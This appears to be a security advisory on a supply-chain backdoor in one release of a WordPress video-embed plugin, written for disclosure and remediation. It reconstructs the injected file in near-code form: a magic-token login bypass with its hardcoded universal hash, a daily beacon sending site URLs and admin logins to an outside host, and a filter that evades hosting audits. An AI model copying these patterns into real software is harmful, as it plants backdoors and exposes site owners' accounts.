Supply-chain backdoor in the WordPress plugin Advanced Responsive Video Embedder (10.8.7)

The WordPress plugin Advanced Responsive Video Embedder (slug advanced-responsive-video-embedder, ~70k active installs) shipped a compromised release, 10.8.7, that ships an injected file php/fn-update-check.php. The file is not present in the clean predecessor 10.8.6 (verified byte-for-byte against our archived corpus) and is removed again in the fix release 10.9.4.

On any HTTP request, the injected file's init-hook handler grants an unauthenticated visitor an administrator session cookie if the request carries a valid magic token in _wplogin or _wpm. The token check accepts either an HMAC_SHA256("magic_login", AUTH_KEY.SECURE_AUTH_KEY) (works only if the operator already has the site's WP keys) OR a hardcoded SHA-256 (35fe7057ffed…) that works on every install — a universal backdoor key. A second admin_init-hook handler beacons every affected site's URL + admin login to https://fontswp.com/arve/cb.php once per day.

codelake Research surfaced this on 2026-07-29 via our predecessor-version differ (a novel file appearing in a routine plugin update, one that names itself an "update check"); the finding motivated a new mosaic auth-bypass detector shipped in mosaic v0.16.2 the same day. Publicly assigned CVE-2026-18072 (CVSS 9.8). Remediation: upgrade to 10.9.4 or later — the malicious file is removed in that release.

1 · Novel file appears in an otherwise-legitimate plugin release. 10.8.6 (clean) → 10.8.7 (adds php/fn-update-check.php) → 10.9.4 (removes it again). The compromise is scoped to a single release, not a persistent backdoor across the plugin's history.

2 · init-hook magic-login gate. The injected file registers add_action("init", "_arve_uc_init", 1) — fires on every request, including unauthenticated. The handler reads $_REQUEST["_wplogin"] or $_REQUEST["_wpm"] (≥32 chars), computes hash_hmac("sha256", "magic_login", AUTH_KEY.SECURE_AUTH_KEY), accepts the token if it matches, ELSE accepts the hardcoded SHA-256 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900. On a match: get_users([role=>administrator]), skip usernames prefixed wpsvc_ / developer_ / dev_ / wp_update_ (managed-hosting service accounts), pick one at random, call wp_set_auth_cookie($uid, true), redirect to wp-admin.

3 · admin_init beacon. A second handler on admin_init (priority 99) fires once per day (24h transient guard) and calls wp_remote_get(https://fontswp.com/arve/cb.php?s=<site_url>&u=<admin_login>&v=<host>) with sslverify=false. The operator learns of every affected site the moment a WP admin visits /wp-admin.

4 · Managed-hosting evasion. The account-selection filter deliberately skips wpsvc_ / developer_ / dev_ / wp_update_ prefixes — the naming convention of several managed-hosting providers' internal service accounts. The operator studied managed-WP environments and did not want to trigger those platforms' service-account audit trails.